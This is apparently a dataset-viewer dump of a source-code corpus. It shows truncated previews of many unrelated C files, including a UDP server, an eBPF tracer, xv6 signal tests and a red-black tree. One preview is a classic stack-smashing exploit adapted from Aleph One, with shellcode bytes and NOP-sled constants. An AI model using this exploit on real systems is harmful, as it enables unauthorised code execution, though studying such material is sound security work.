added
stringdate
2024-11-18 17:54:19
2024-11-19 03:39:31
created
timestamp[s]date
1970-01-01 00:04:39
2023-09-06 04:41:57
id
stringlengths
40
40
metadata
dict
source
stringclasses
1 value
text
stringlengths
13
8.04M
score
float64
2
4.78
int_score
int64
2
5
2024-11-18T18:24:16.023884+00:00
2018-08-05T21:50:49
feb553260969441f04d774bb21bf0e9c6506fbec
{ "blob_id": "feb553260969441f04d774bb21bf0e9c6506fbec", "branch_name": "refs/heads/master", "committer_date": "2018-08-05T21:50:49", "content_id": "08728a9f03b8a72e1076153f10b5616513f81ea8", "detected_licenses": [ "MIT" ], "directory_id": "fcf953e260f494558a0f1bd7dd205eb49fd79988", "extension": "c"...
stackv2
/* header files stdio.h - for output unistd.h - for rmdir() sys/types.h, sys/stat.h - for struct stat */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> /* Helper function */ int help() { /* Print supported options */ printf("Usage: rmdir [OPTION]...\n"); printf("Possi...
3.5
4
2024-11-18T18:24:16.381923+00:00
2019-12-11T09:53:43
4f07212a99361b34fac9795d0af268dda9008ccd
{ "blob_id": "4f07212a99361b34fac9795d0af268dda9008ccd", "branch_name": "refs/heads/master", "committer_date": "2019-12-11T09:53:43", "content_id": "ae1e007cc23818f054ec8a2ae62949525f12aa35", "detected_licenses": [ "MIT" ], "directory_id": "fb1ee07e5b447afe8b3d612c015a588196871de9", "extension": "c"...
stackv2
/* # IBANRechner # validator.c # Copyright (c) 2019 j-bill # github.com/j-bill # This file is part of "IBANRechner" which is released under the MIT license. */ void IBANval() { char iban[23], blz[9], ktNr[11], cc[3], pz[3]; char temp1[9], temp2[9], temp3[9], temp4[9], land[7] = "131400", IBANroh[25]=""; ...
2.65625
3
2024-11-18T18:24:16.456753+00:00
2019-03-01T05:16:46
d8b3f671d2855c8563933ac761e15cc8225b6506
{ "blob_id": "d8b3f671d2855c8563933ac761e15cc8225b6506", "branch_name": "refs/heads/master", "committer_date": "2019-03-01T05:16:46", "content_id": "cdf4e13cf7375cb721e5109cb131f691e4d1ff23", "detected_licenses": [ "MIT" ], "directory_id": "5a17a3d150c4773318d397a46878d2fd74c0671f", "extension": "c"...
stackv2
//rama@sz //易筋經殘篇 inherit BOOK; int do_xiulian(); int finish(object me); void setup() {} void init() { add_action("do_xiulian", "xiulian"); add_action("do_xiulian", "xiu"); } void create() { set_name("易筋經殘篇", ({ "yijinjing" })); set_weight(600); set("no_drop",1); ...
2.09375
2
2024-11-18T18:24:16.516123+00:00
2019-10-26T12:58:37
eb76bd00767fdd2e0351682242f7ffebc69e771c
{ "blob_id": "eb76bd00767fdd2e0351682242f7ffebc69e771c", "branch_name": "refs/heads/master", "committer_date": "2019-10-26T12:58:37", "content_id": "f810a5782a5ffcb258c2cfdadbb1e6f1dcc360f5", "detected_licenses": [ "MIT" ], "directory_id": "f15151ae39dcde25d761c0c879b7860585d68bf4", "extension": "c"...
stackv2
#include <stdio.h> #include <assert.h> #include <smallengine/sys/mem.h> #include <smallengine/graphics/texture.h> #include <smallengine/graphics/canvas.h> #include <smallengine/graphics/color.h> void TST_TextureNew() { struct texture t = texture(5, 4); assert(t.w == 5); assert(t.h == 4); a...
2.734375
3
2024-11-18T18:24:16.944832+00:00
2021-04-28T17:55:28
b6d3346e67200f7218322d7db53bb1198a0c5246
{ "blob_id": "b6d3346e67200f7218322d7db53bb1198a0c5246", "branch_name": "refs/heads/main", "committer_date": "2021-04-28T17:55:28", "content_id": "d304b2a3646400fd022687bf003301dcb5f953f4", "detected_licenses": [ "MIT" ], "directory_id": "e1ddc5b30a7df9573080622bfdebbea7220148ee", "extension": "c", ...
stackv2
/* fpont 12/99 */ /* pont.net */ /* udpServer.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> /* close() */ #include <string.h> /* memset() */ #include <stdlib.h> #define LOCAL_SERVER_PORT 1500 #define MAX_...
2.875
3
2024-11-18T18:24:17.179457+00:00
2020-04-15T20:58:21
be80362428bab5ab02ec20b91cf7bcd4e22f951b
{ "blob_id": "be80362428bab5ab02ec20b91cf7bcd4e22f951b", "branch_name": "refs/heads/master", "committer_date": "2020-04-15T20:58:21", "content_id": "d28000ca50c6f1fc879ccc25957201e5fdfc386f", "detected_licenses": [ "MIT" ], "directory_id": "ebc700cb11b49d5319544d3f7bbc8882250a8e5a", "extension": "c"...
stackv2
#include "video.h" /* * Ports */ __input bool VIDEO_BUFFER; /* Buffer with last camera frame */ __output bool TFT_BUFFER; /* Non visible TFT buffer */ __input bool R_DISABLE; /* Disable red channel */ __input bool G_DISABLE; /* Disable green...
2.703125
3
2024-11-18T18:24:17.258971+00:00
2014-06-17T16:51:31
74117350a4fa3e85c483be1c24bd29e618a3e8db
{ "blob_id": "74117350a4fa3e85c483be1c24bd29e618a3e8db", "branch_name": "refs/heads/master", "committer_date": "2014-06-17T16:51:31", "content_id": "c828d8ebcc0e7436590ade6ab89f0be53b15bda2", "detected_licenses": [ "Unlicense" ], "directory_id": "240c1c1de1011af4a3f49f296841fd1871dd7e32", "extension...
stackv2
/* ** init_map.c for epic_editor in /home/remy_o/rendu/rt/parcer ** ** Made by Olivier Remy ** Login <remy_o@epitech.net> ** ** Started on Mon May 26 19:30:44 2014 Olivier Remy ** Last update Mon May 26 19:34:46 2014 Olivier Remy */ #include "epic_editor.h" t_map *init_map(t_eye *eye) { t_map *map; map = c_...
2.03125
2
2024-11-18T18:24:17.405237+00:00
2015-10-14T14:10:39
98ecdf253187cd55f123533c963547195d6a1956
{ "blob_id": "98ecdf253187cd55f123533c963547195d6a1956", "branch_name": "refs/heads/master", "committer_date": "2015-10-14T14:10:39", "content_id": "35c605285809210f7440b8997b2b3b715d855358", "detected_licenses": [ "MIT" ], "directory_id": "a1cb93ec35de61cb2d562120cbbb961da6fd85fb", "extension": "c"...
stackv2
#include "main.H" #include "timeout.H" // Function prototypes void delay_50micros(void); void delay_500micros(void); void delay_1ms(void); void delay_5ms(void); void delay_10ms(void); void delay_15ms(void); void delay_20ms(void); void delay_50ms(void); // TIMEOUT code variable & TIMEOUT code (dummy here) #def...
2.46875
2
2024-11-18T18:56:24.971878+00:00
2021-05-29T13:17:05
f2961fd2d74793620a63555f29e1e1a40ea8dff4
{ "blob_id": "f2961fd2d74793620a63555f29e1e1a40ea8dff4", "branch_name": "refs/heads/master", "committer_date": "2021-05-29T13:17:05", "content_id": "7d309f6926613d82d853bb6debcc418beb008020", "detected_licenses": [ "MIT" ], "directory_id": "3497f7d480257e38b3eca701a476d4e8c1d5d33e", "extension": "c"...
stackv2
#include <stddef.h> #include "util/rbtree.h" static void __rb_rotate_left(struct rb_node *node, struct rb_root *root) { struct rb_node *right = node->rb_right, *parent = rb_parent(node); if ((node->rb_right = right->rb_left)) rb_set_parent(right->rb_left, node); right->rb_left = node; rb_se...
2.859375
3
2024-11-18T18:56:25.049849+00:00
2016-01-27T17:19:21
761238cb47ca75b5b2931da2ed740f6c923da344
{ "blob_id": "761238cb47ca75b5b2931da2ed740f6c923da344", "branch_name": "refs/heads/master", "committer_date": "2016-01-27T17:19:21", "content_id": "6a7e6232660cafa7614673a7cc661906b35ed761", "detected_licenses": [ "MIT" ], "directory_id": "649edc1598dbe9f17462ece9992295cb0832f274", "extension": "c"...
stackv2
#include<stdio.h> #include<stdlib.h> int is_prime(int number) { int i,digit; i=2; digit=1; if(number==0 || number==1 || number==2) { return 0; } while(i<number) { if(number%i==0) { digit=0; break; } i++; } return digit; } int main() { int number,digit; if(scanf("%d",&number)==0) { printf("-...
3.125
3
2024-11-18T18:56:25.843335+00:00
2017-12-29T19:55:39
ed7bdc5fb28076bf493a975b69123bdb5293b231
{ "blob_id": "ed7bdc5fb28076bf493a975b69123bdb5293b231", "branch_name": "refs/heads/master", "committer_date": "2017-12-29T19:55:39", "content_id": "1973727936d1376f6e91a9c0d13440031ee49302", "detected_licenses": [ "Unlicense" ], "directory_id": "89fd9e3b0c88adcb9331cc95b25be7c268ddd131", "extension...
stackv2
#include <stdio.h> #include <string.h> #define MAX_REMIND 60 #define MSG_LEN 50 int read_line(char *word, int n); int main(void) { char reminders[MAX_REMIND][MSG_LEN+3]; char date_time_str[12], msg_str[MSG_LEN+1]; int month, day, hours, minutes, i, j, c, num_remind = 0; _Bool bad_day, bad_time, bad_m...
2.84375
3
2024-11-18T18:56:30.629331+00:00
2023-08-14T15:34:25
6061abbd8224aced82977b00e68a066495c8f513
{ "blob_id": "6061abbd8224aced82977b00e68a066495c8f513", "branch_name": "refs/heads/main", "committer_date": "2023-08-14T15:34:25", "content_id": "9d8dd31276edae1a4a604bb15927662d54b813c9", "detected_licenses": [ "MIT" ], "directory_id": "6c08b0a957d79fc6ee9ae4d1ba65327b43842056", "extension": "c", ...
stackv2
//go:build ignore #include "common.h" #include "bpf_endian.h" #include "bpf_tracing.h" #define AF_INET 2 char __license[] SEC("license") = "Dual MIT/GPL"; /** * For CO-RE relocatable eBPF programs, __attribute__((preserve_access_index)) * preserves the offset of the specified fields in the original kernel struct...
2.390625
2
2024-11-18T18:56:30.707100+00:00
2021-05-13T08:01:59
0152033b26aa2d0fd5c0e1b259a75228c7238fe0
{ "blob_id": "0152033b26aa2d0fd5c0e1b259a75228c7238fe0", "branch_name": "refs/heads/main", "committer_date": "2021-05-13T08:01:59", "content_id": "aa2200ce37d3ffe6dc6af35323b2a484843f0e99", "detected_licenses": [ "MIT" ], "directory_id": "d49298b92aa10f02e685bb9076d1d1cdd7aafe09", "extension": "c", ...
stackv2
#include "kernel/types.h" #include "kernel/stat.h" #include "user/user.h" #include "kernel/syscall.h" #include "kernel/param.h" #include "Csemaphore.h" struct sigaction { void (*sa_handler) (int); uint sigmask; }; int wait_sig1 = 0; int wait_sig2 = 0; int wait_sig3 = 0; void test_handler_0(int signum){ ...
2.65625
3
2024-11-18T18:56:34.937397+00:00
2021-07-08T07:39:26
33397c53c3942300ccbc20195d4308ef2ac45246
{ "blob_id": "33397c53c3942300ccbc20195d4308ef2ac45246", "branch_name": "refs/heads/master", "committer_date": "2021-07-08T07:39:26", "content_id": "3f18d00849bc0b977f33803ab26dfb0ea059c1f8", "detected_licenses": [ "BSL-1.0" ], "directory_id": "05a2f8e161922763dbb8d2a9982d9854ca91513b", "extension":...
stackv2
typedef struct GROUP_STRUCT { unsigned _G_NEXT_HASH_GINDEX; unsigned _G_NEXT_GROUP_GINDEX; // NEXT GROUP IN SOME LIST ORDER unsigned _G_FIRST_SEG_GINDEX; unsigned _G_LAST_SEG_GINDEX; unsigned _G_FRAME; // OFFSET AND 0FFF0H IF REAL MODE, ELSE SEGMENT # & FLAGS unsigned _G_OFFSET; // OFFSET ...
2.109375
2
2024-11-18T18:56:35.134575+00:00
2016-09-02T22:53:29
b0b1a10601dbad5620553ca2909a90fe612bd291
{ "blob_id": "b0b1a10601dbad5620553ca2909a90fe612bd291", "branch_name": "refs/heads/master", "committer_date": "2016-09-02T22:53:29", "content_id": "86b201cd8ce858a8085f0e8e021607da3c77008b", "detected_licenses": [ "MIT" ], "directory_id": "8608f24c8d1d9d7e1f1acdfffce6cc8b3aea70ec", "extension": "h"...
stackv2
/* Linked List v0.3 A Pebble library for working with linked lists. http://smallstoneapps.github.io/linked-list/ ---------------------- The MIT License (MIT) Copyright © 2014 Matthew Tole Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation file...
2.6875
3
2024-11-18T18:56:35.441772+00:00
2019-04-07T21:07:22
0f66da45b389c415465cd4ba57d2f8632268eb29
{ "blob_id": "0f66da45b389c415465cd4ba57d2f8632268eb29", "branch_name": "refs/heads/master", "committer_date": "2019-04-07T21:07:22", "content_id": "fba4ae183001fa6b1f6f651e2c7fef79a4ca0e9e", "detected_licenses": [ "MIT" ], "directory_id": "0b1a6ed2b4be2ae116eaed0ceb76b4f4611fe013", "extension": "c"...
stackv2
/* Algoritmo Insertion Sort */ #include <stdio.h> #include <stdlib.h> #define T 10 struct valor{ int valor; struct valor *prox, *ant; }; void mostraVetor(int *vetor); void insertionSort(int *vetor); struct valor* criaValor(int valor); void inserenaLista(struct valor **lista, struct valor *novo); struct valor* ...
3.859375
4
2024-11-18T18:56:35.534960+00:00
2016-08-26T06:48:24
bd4dd061db944957312dc2928c373c06eb0fe777
{ "blob_id": "bd4dd061db944957312dc2928c373c06eb0fe777", "branch_name": "refs/heads/master", "committer_date": "2016-08-26T06:48:24", "content_id": "5697b42bffdd088a3babdff47b44283a3b109818", "detected_licenses": [ "MIT" ], "directory_id": "b7b0abd73000c9001e711ad5125d1961e32e0b7a", "extension": "c"...
stackv2
#include <assert.h> #include "../src/process.h" typedef struct { int count1; int count2; int *pid1; int *pid2; uint64_t *times1; uint64_t *times2; int interval; } pop_data_t; typedef struct { process_list_t *r1; process_list_t *r2; } pop_res_t; pop_res_t populate(pop_data_t data) { pop_res_t res...
2.78125
3
2024-11-18T18:56:35.909535+00:00
2017-04-20T10:17:49
781ba108a0339996eea67d16d9ed4622ddc9fed2
{ "blob_id": "781ba108a0339996eea67d16d9ed4622ddc9fed2", "branch_name": "refs/heads/master", "committer_date": "2017-04-20T10:17:49", "content_id": "bb0aa9f5d018c2b4a717e09eec7716fda994f796", "detected_licenses": [ "Apache-2.0" ], "directory_id": "ebd585fdafb22d31fcd6d04b209f81e88d1a2083", "extensio...
stackv2
/****************************************************************************** D S I _ N E T C T R L _ D A E M O N . C ******************************************************************************/ /****************************************************************************** @file d...
2.015625
2
2024-11-18T18:56:36.144760+00:00
2019-01-02T01:17:03
08663d72150ddf8c1c5217cc5edb1b06001101d2
{ "blob_id": "08663d72150ddf8c1c5217cc5edb1b06001101d2", "branch_name": "refs/heads/master", "committer_date": "2019-01-02T01:17:03", "content_id": "beb73f5eccafb1ada67c28d6ae27ee216ea85b65", "detected_licenses": [ "MIT" ], "directory_id": "5083baaf3ee2cc048a40b73039c09a0fd8f310a0", "extension": "c"...
stackv2
#include <stdlib.h> #include <string.h> #include <stdio.h> #include "symtab.h" struct Symbol* alloc_symbol(int arg_line, int arg_type, char* arg_name, struct TreeNode* arg_node) { char* name; struct Symbol* sym = (struct Symbol*)malloc(sizeof(struct Symbol)); sym->idx = n_symbol++; sym->type = arg_type; if (arg_n...
2.96875
3
2024-11-18T18:56:36.249765+00:00
2014-03-27T14:31:56
e76e734ca8e1c5f2b117edd2faade4c39eb9929d
{ "blob_id": "e76e734ca8e1c5f2b117edd2faade4c39eb9929d", "branch_name": "refs/heads/master", "committer_date": "2014-03-27T14:31:56", "content_id": "30529ca4880bc52533ff30ca81d0025b67c70898", "detected_licenses": [ "MIT" ], "directory_id": "9c5c6c9adfb22678dbac85012438ad0e81e0f6e0", "extension": "c"...
stackv2
/* * Credits: * * Adapted from "Smaching the stack for fun and profit" - Aleph One */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 static char shellcode[] = "\xeb\x10\x5b\x31\xc0\x88\x43\x07" "\x89\xc2\x50\x53\x89\xe1\xb0\...
2.875
3
2024-11-18T18:56:40.172025+00:00
2023-02-16T11:27:40
ea97d45a2e5ee7181728fa5b515e890927100371
{ "blob_id": "ea97d45a2e5ee7181728fa5b515e890927100371", "branch_name": "refs/heads/main", "committer_date": "2023-02-16T14:59:16", "content_id": "b598248f0537ebaf67289900e86bb88f8391868e", "detected_licenses": [ "Apache-2.0" ], "directory_id": "e8302c75d770d1608b317d6af5c483bbad6c0493", "extension"...
stackv2
/* * Copyright (c) 2019-2020 Peter Bigot Consulting, LLC * * SPDX-License-Identifier: Apache-2.0 */ #include <stdio.h> #include <zephyr/kernel.h> #include <zephyr/device.h> #include <zephyr/drivers/counter.h> #include <zephyr/sys/printk.h> #include <zephyr/drivers/rtc/maxim_ds3231.h> /* Format times as: YYYY-MM-...
2.515625
3
2024-11-18T18:56:40.257448+00:00
2019-12-06T23:05:27
154a1d5f3131ebc2f325253f79e40083ab81f23a
{ "blob_id": "154a1d5f3131ebc2f325253f79e40083ab81f23a", "branch_name": "refs/heads/master", "committer_date": "2019-12-06T23:05:27", "content_id": "07397aa8d0f0e6b823dfcb6b74564bd46f38c2ef", "detected_licenses": [ "MIT" ], "directory_id": "7ce8082fcadebfc7b3d767ca30bb080401a34166", "extension": "h"...
stackv2
/* * i2cbitbang_board.h * * Created on: 25 lis 2019 * Author: Tata */ #ifndef INC_I2CBITBANG_BOARD_H_ #define INC_I2CBITBANG_BOARD_H_ #include "stm32f4xx.h" #define I2CBB_SCCB 0 #define I2CBB_OLED 1 #define I2CBB_LSM 2 #define NUMBER_OF_I2CBB_INSTANCES 3 /* * BE CAREFUL! * It supports only pins wh...
2.046875
2
2024-11-18T18:56:40.491033+00:00
2021-05-30T15:29:44
5455ed3067ada54f6a51e200abdc6712d0962e49
{ "blob_id": "5455ed3067ada54f6a51e200abdc6712d0962e49", "branch_name": "refs/heads/master", "committer_date": "2021-05-30T15:29:44", "content_id": "a4e52f1daa97f34974911d7181c3b5ef9fff82f8", "detected_licenses": [ "MIT" ], "directory_id": "c61b0aac80e47db7f22188fc613e9a3adb4aac7e", "extension": "h"...
stackv2
/* A lightweight replacement for GString. */ #ifndef GSTRING_H #define GSTRING_H struct _GString { gchar *str; gsize len; gsize allocated_len; }; typedef struct _GString GString; GString *g_string_new (const gchar *init); GString *g_string_new_len (const gchar *init, gssize len); GString *g_string_sized_new ...
2.359375
2
2024-11-18T18:56:41.031749+00:00
2013-02-25T15:14:32
8b0823ee2a41ea45f0908a2a1b0466f2cbeab2eb
{ "blob_id": "8b0823ee2a41ea45f0908a2a1b0466f2cbeab2eb", "branch_name": "refs/heads/master", "committer_date": "2013-02-25T15:14:32", "content_id": "609a5b4663f381435f02b2a30663c73f1e1fcb47", "detected_licenses": [ "Apache-2.0" ], "directory_id": "41d2d8daaba5e622f5c027d05a007af122936e88", "extensio...
stackv2
/*----------------------------------------------------------------------------- * vpacker-c.h - A wrapper of vpacker32/64 for C * * Coding-Style: google-styleguide * https://code.google.com/p/google-styleguide/ * * Copyright 2013 Takeshi Yamamuro <linguin.m.s_at_gmail.com> *------------------------------...
2.28125
2
2024-11-18T18:56:41.772070+00:00
2019-01-24T01:29:05
c5083f5ec3d2b0a30ddb11b50f5dff54953f77ec
{ "blob_id": "c5083f5ec3d2b0a30ddb11b50f5dff54953f77ec", "branch_name": "refs/heads/master", "committer_date": "2019-01-24T01:29:05", "content_id": "78b5485ac7ed90bcce4a082f640afe29b9396bff", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "206981c350e02003ce1af885ad608c0e4a5415a4", "extens...
stackv2
#include <stdio.h> #include "common_dht_read.h" #include "pi_dht_read.h" int main(int argc, char **argv) { float humidity, temperature; int rv = pi_dht_read(DHT11, 4, &humidity, &temperature); if (rv == DHT_SUCCESS){ printf("humidity: %.2f%%; temperature: %.2f deg C\n", humidity, temperature); } else if (rv == D...
2.328125
2
2024-11-18T18:56:42.019486+00:00
2021-10-01T18:24:24
16a8a480ba3f07c1662714e1701e96a6c8249930
{ "blob_id": "16a8a480ba3f07c1662714e1701e96a6c8249930", "branch_name": "refs/heads/master", "committer_date": "2021-10-01T18:24:24", "content_id": "bd20c995ed187b78625861002da4523657cbc650", "detected_licenses": [ "MIT" ], "directory_id": "d2a4cf4e6fff810e94c85c1c94ebef6638469ff4", "extension": "c"...
stackv2
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> typedef struct node { int data; struct node *left; struct node *right; } Node; typedef struct tree { Node *root; } Tree; void tree_initialize(Tree *tree); void tree_insert(Tree *tree, int data); void inorder(Tree *tree); void preorder(Tree ...
3.84375
4
2024-11-18T18:56:42.682828+00:00
2018-05-31T07:18:24
8c91fe007419c5f2bf48de5d66bd0d2fdd14a11f
{ "blob_id": "8c91fe007419c5f2bf48de5d66bd0d2fdd14a11f", "branch_name": "refs/heads/kinetic", "committer_date": "2018-05-31T07:18:24", "content_id": "f4f8f495e7b7338839b9adbb04ab0b1e26f075c0", "detected_licenses": [ "MIT" ], "directory_id": "24d6b7272c16ec511cf93361cc7e4bdbcdcf7ae4", "extension": "c...
stackv2
#include "arlodrive.h" void interpolation_table_setup(void); void set_drive_speed(int left, int right); volatile unsigned int _servoPulseReps; volatile int abd_speedL; // Requested servo speed left volatile int abd_speedR; // Requested servo speed right int abd_rampStep; int abd_intTabSetup; //static int ...
2.3125
2
2024-11-18T18:56:42.825587+00:00
2022-11-12T11:14:32
bdd7d03ca8eaa40a06514bd3667c00895bf755c6
{ "blob_id": "bdd7d03ca8eaa40a06514bd3667c00895bf755c6", "branch_name": "refs/heads/master", "committer_date": "2022-11-12T11:14:32", "content_id": "9ff165ede51f806646e4d4bf6530b2bebe195dc5", "detected_licenses": [ "MIT" ], "directory_id": "4fc4d63f3ceb22bc71b1faf62283236c264a698e", "extension": "c"...
stackv2
/** ****************************************************************************** * File Name : sdp_user.c * Description : Simple Data Protocol * * @date 08-Nov-2017 * @author Domen Jurkovic * @version v1 * @source http://damogranlabs.com/ * https:/...
2.09375
2
2024-11-18T18:56:43.048870+00:00
2020-12-11T22:23:43
1de72fb0e3f79b0d1cced581cea3235883cd0a3c
{ "blob_id": "1de72fb0e3f79b0d1cced581cea3235883cd0a3c", "branch_name": "refs/heads/master", "committer_date": "2020-12-11T22:23:43", "content_id": "a3e9c31cba1eae4c43ac62218bc1f1ece2d49b1d", "detected_licenses": [ "MIT" ], "directory_id": "8d858854239a25201e0590a56500923d76d12f13", "extension": "c"...
stackv2
/* * Academic License - for use in teaching, academic research, and meeting * course requirements at degree granting institutions only. Not for * government, commercial, or other organizational use. * File: xgehrd.c * * MATLAB Coder version : 4.1 * C/C++ source code generated on : 15-Jul-2020 15:07:...
2.046875
2
2024-11-18T18:56:43.791133+00:00
2017-10-30T15:56:21
71de1ccec661b5b4409b4af16c15ed78ded83572
{ "blob_id": "71de1ccec661b5b4409b4af16c15ed78ded83572", "branch_name": "refs/heads/master", "committer_date": "2017-10-30T15:56:21", "content_id": "f066804e59b1615641fd3be0276ae751c7fa1739", "detected_licenses": [ "Apache-2.0" ], "directory_id": "4bafb31521cc68cf26f30a7573936796b77f8402", "extensio...
stackv2
/* OTA example This example code is in the Public Domain (or CC0 licensed, at your option.) Unless required by applicable law or agreed to in writing, this software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ #include <stdio.h> #include ...
2.28125
2
2024-11-18T18:56:48.344626+00:00
2020-05-25T03:35:56
81e049f459bd6c3fea094680a4694ee9c316915d
{ "blob_id": "81e049f459bd6c3fea094680a4694ee9c316915d", "branch_name": "refs/heads/master", "committer_date": "2020-05-25T03:35:56", "content_id": "36fa2494c64c6851770250937ea91bdbb71f00f3", "detected_licenses": [ "MIT" ], "directory_id": "480c479b19086b58962cff2ffd604410f9a50033", "extension": "c"...
stackv2
#include <unistd.h> #include <stdint.h> #include <assert.h> #include "../etcd.h" #include "../log.h" #include "../utils.h" int main(int argc, char *argv[]) { char *addr = hostIPaddr("eth0"); if (strlen(addr) == 0) addr = hostIPaddr("eno1"); log_info("%s", addr); char int_s[40]; log_inf...
2.25
2
2024-11-18T18:56:48.501952+00:00
2019-11-01T14:00:17
d2b4b4a6c1156901f2603cc28285f471b94b9cd0
{ "blob_id": "d2b4b4a6c1156901f2603cc28285f471b94b9cd0", "branch_name": "refs/heads/master", "committer_date": "2019-11-01T14:00:17", "content_id": "1dd2a09d22b86eac0c53d541a04a5592dd03b57c", "detected_licenses": [ "MIT" ], "directory_id": "aa5bdc85a057bb99dc849de8403a9e80a5c901d1", "extension": "c"...
stackv2
#include <nanafy.h> #include <stddef.h> size_t sizeof_nanafy_symbol_list_product (nanafy_symbol_list *list){ size_t count = 0; for (size_t index = 0; index < nanafy_symbol_list_length(list); index++){ nanafy_symbol symbol; if (get_nanafy_symbol_list(index, list, &symbol) != 0){ break; // skip! } count += ...
2.515625
3
2024-11-18T18:56:48.919734+00:00
2019-10-21T12:21:00
8dea84633d608c83e25cdb936d578cf768c05e13
{ "blob_id": "8dea84633d608c83e25cdb936d578cf768c05e13", "branch_name": "refs/heads/master", "committer_date": "2019-10-21T12:21:00", "content_id": "0ffe8b68d3ec2fa63f52437c4833d093a26ad3a0", "detected_licenses": [ "MIT" ], "directory_id": "457447a55a1773bf4432f50352793207e7c9f9e3", "extension": "c"...
stackv2
/* * String source * * CExpansion MIT Licensed * Author: Owen Tsai */ #include "String.h" Status InitString(String *S) { (*S).str = NULL; (*S).length = 0; return OK; } Status StringAssign(String *S, char* chars) { (*S).length = strlen(chars); if(len == 0) { return ERROR; } ...
2.9375
3
2024-11-18T18:56:49.443959+00:00
2023-03-25T08:13:19
80e5756245fb667f841e401a1cf4258b5f0c03d4
{ "blob_id": "80e5756245fb667f841e401a1cf4258b5f0c03d4", "branch_name": "refs/heads/main", "committer_date": "2023-03-25T08:13:19", "content_id": "48b04e0dae7a830b4cbd153aca2ad13b8956ac37", "detected_licenses": [ "MIT" ], "directory_id": "1cc5d45273d008e97497dad9ec004505cc68c765", "extension": "c", ...
stackv2
#include "tstr.h" // // tstr_expand - 字符串扩容, low level api // tsr : 可变字符串 // len : 扩容的长度 // return : tsr->str + tsr->len 位置的串 // char * tstr_expand(tstr_t tsr, size_t len) { size_t cap = tsr->cap; if ((len += tsr->len) > cap) { // 走 1.5 倍内存分配, '合理'降低内存占用 while (cap < len) cap = ca...
2.734375
3
2024-11-18T18:56:49.535516+00:00
2020-07-02T14:04:21
421c6f874495574c5afbe3c9f153aca4f9b580a9
{ "blob_id": "421c6f874495574c5afbe3c9f153aca4f9b580a9", "branch_name": "refs/heads/master", "committer_date": "2020-07-02T14:04:21", "content_id": "764244b5fe19d875c4bce91cc4cbc97730399290", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "78c5d387c0988865ea73a202b3594ecdca0859c8", "extens...
stackv2
// Copyright 2016 Takashi Toyoshima <toyoshim@gmail.com>. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <stdio.h> #include <stdlib.h> #include "run68.h" extern ULong zmusic_driver; extern char* zmusic_work; extern void jsrt_midi_ou...
2.078125
2
2024-11-18T18:56:49.833453+00:00
2023-06-28T00:00:58
33663cdd15652c840630bf5f26097523aff5b153
{ "blob_id": "33663cdd15652c840630bf5f26097523aff5b153", "branch_name": "refs/heads/master", "committer_date": "2023-07-07T13:57:08", "content_id": "11abf6845ce6068ce4e388f99684574d6673fda2", "detected_licenses": [ "MIT" ], "directory_id": "d6819033d5c0d68ec0522c872c057c00da6b2789", "extension": "c"...
stackv2
#include <ui.h> #include <snow.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <math.h> /* Is that point in that rect? * Note: see `ui_get_absolute_bounds` and friends if coordinate conversion is * needed. */ bool point_in_rect(point_t p, rect_t r) { return p.x >= r.x && p.x < r.x + r.w ...
2.734375
3
2024-11-18T18:56:49.934704+00:00
2022-10-01T22:31:12
3ba0b41ca33106fc7f5299108fdf0dd965c67b35
{ "blob_id": "3ba0b41ca33106fc7f5299108fdf0dd965c67b35", "branch_name": "refs/heads/master", "committer_date": "2022-10-01T22:31:12", "content_id": "cf3dab94f2497c6a7526ccaa0aecc91767fce799", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "98f1d57701222eda3e6d7aa88920e7b98edffd7e", "extens...
stackv2
/**\ * Copyright (c) 2021 Bosch Sensortec GmbH. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause **/ /******************************************************************************/ /*! Header Files */ #include <stdio.h> #include "bmi270_le...
2.765625
3
2024-11-18T18:56:50.600055+00:00
2020-01-30T15:52:16
7ebdb387ddfaeaf72775a095f925418ab67030ff
{ "blob_id": "7ebdb387ddfaeaf72775a095f925418ab67030ff", "branch_name": "refs/heads/master", "committer_date": "2020-01-30T15:52:16", "content_id": "560c041563340b8f02604224adcf9bec1e46fe39", "detected_licenses": [ "MIT" ], "directory_id": "40de3da30239862f11a946166b50438174c2fd4e", "extension": "c"...
stackv2
inherit "room/room"; int i; reset(arg) { if(!present("bear")) { move_object(clone_object("/wizards/jenny/mehta/mosut/bear.c"), this_object()); } if(arg) return; i = 0; add_exit("southeast","/wizards/jenny/mehta/huoneet/forest3.c"); short_desc = "In a...
2.171875
2
2024-11-18T18:56:50.889571+00:00
2017-09-22T19:17:16
ce5fac8e79bfa80be8cca584f31b03b4e621b528
{ "blob_id": "ce5fac8e79bfa80be8cca584f31b03b4e621b528", "branch_name": "refs/heads/master", "committer_date": "2017-09-22T19:17:16", "content_id": "d163fef97ab15ce4633e590b0434377d68dcb4df", "detected_licenses": [ "Unlicense" ], "directory_id": "f0f71d1bad68961782278913f0b0f41368380345", "extension...
stackv2
// ----------------------------------------------------------------------------- // Cops: a minimalist argument-parsing library written in portable C99. // // Author: Darren Mulholland <darren@mulholland.xyz> // License: Public Domain // Version: 0.1.0 // ----------------------------------------------------------------...
2.640625
3
2024-11-18T18:56:50.981399+00:00
2018-09-26T11:19:32
38df5d6a01bab7b0dcef69dff306da47151c3a08
{ "blob_id": "38df5d6a01bab7b0dcef69dff306da47151c3a08", "branch_name": "refs/heads/master", "committer_date": "2018-09-26T11:19:32", "content_id": "9590d2fdbf2fc74515e5a84a22c540dde3ccaf1f", "detected_licenses": [ "MIT" ], "directory_id": "c635c8d7c78e6634f34de306a47335538352a3f1", "extension": "c"...
stackv2
